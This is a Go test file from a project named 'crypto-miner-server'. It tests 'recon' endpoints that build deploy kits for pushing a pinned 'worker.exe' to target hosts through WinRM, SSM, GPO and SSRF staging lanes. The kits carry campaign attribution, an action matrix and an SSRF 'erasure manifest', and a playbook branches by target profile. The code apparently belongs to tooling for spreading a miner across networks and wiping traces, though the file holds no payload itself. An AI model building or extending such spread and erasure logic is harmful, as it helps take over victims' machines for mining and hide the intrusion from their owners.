Extend deploy-kit with pinned-build campaign attribution, SSRF erasure shards, and one-click action matrix; add playbook endpoint branching by target profile.
143 lines
4.3 KiB
Go
143 lines
4.3 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
artifact := filepath.Join(dir, "worker.exe")
|
|
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
database, err := db.New(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
if err := database.InsertBuild(&models.BuildRecord{
|
|
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
|
|
FilePath: artifact, Pinned: true,
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
deployH := NewDeployPlanHandler(database, dir, root,
|
|
func() string { return "https://deck.example" },
|
|
func() string { return "fleet-secret" },
|
|
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
|
)
|
|
spreadH := NewSpreadHandler(database, dir, root, nil)
|
|
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
|
|
return NormalizeServiceDeployAllowlist(nil)
|
|
})
|
|
return spreadH, deployH
|
|
}
|
|
|
|
func TestGetDeployKitWinRM(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
|
}
|
|
var out map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if out["join_lane"] != "winrm" {
|
|
t.Fatalf("join_lane: %v", out["join_lane"])
|
|
}
|
|
if out["campaign"] != "recon-10.1.2.50" {
|
|
t.Fatalf("campaign: %v", out["campaign"])
|
|
}
|
|
if out["action_matrix"] == nil {
|
|
t.Fatal("expected action_matrix")
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitActionMatrix(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM&open_ports=22", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
var out map[string]interface{}
|
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
|
matrix, ok := out["action_matrix"].([]interface{})
|
|
if !ok || len(matrix) == 0 {
|
|
t.Fatalf("action_matrix: %v", out["action_matrix"])
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitSSRFErasureManifest(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=app.lab&finding=ssrf", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
var out map[string]interface{}
|
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
|
if out["erasure_manifest"] == nil {
|
|
t.Fatal("missing erasure_manifest")
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitSSM(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitRequiresHost(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("want 400 got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestGetReconPlaybook(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/playbook?host=127.0.0.1", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetReconPlaybook(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
|
}
|
|
var out map[string]interface{}
|
|
json.Unmarshal(rec.Body.Bytes(), &out)
|
|
if out["profile"] == nil {
|
|
t.Fatalf("profile missing: %v", out)
|
|
}
|
|
}
|
|
|
|
func TestResolveReconFinding(t *testing.T) {
|
|
_, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
|
if !ok || lane.Lane != "gpo" {
|
|
t.Fatalf("gpsvc lane=%q ok=%v", lane.Lane, ok)
|
|
}
|
|
}
|
|
|
|
func TestResolveReconFindingSSRF(t *testing.T) {
|
|
_, lane, ok := resolveReconFinding("ssrf", nil)
|
|
if !ok || lane.Lane != "stage_fetch" {
|
|
t.Fatalf("lane=%q ok=%v", lane.Lane, ok)
|
|
}
|
|
}
|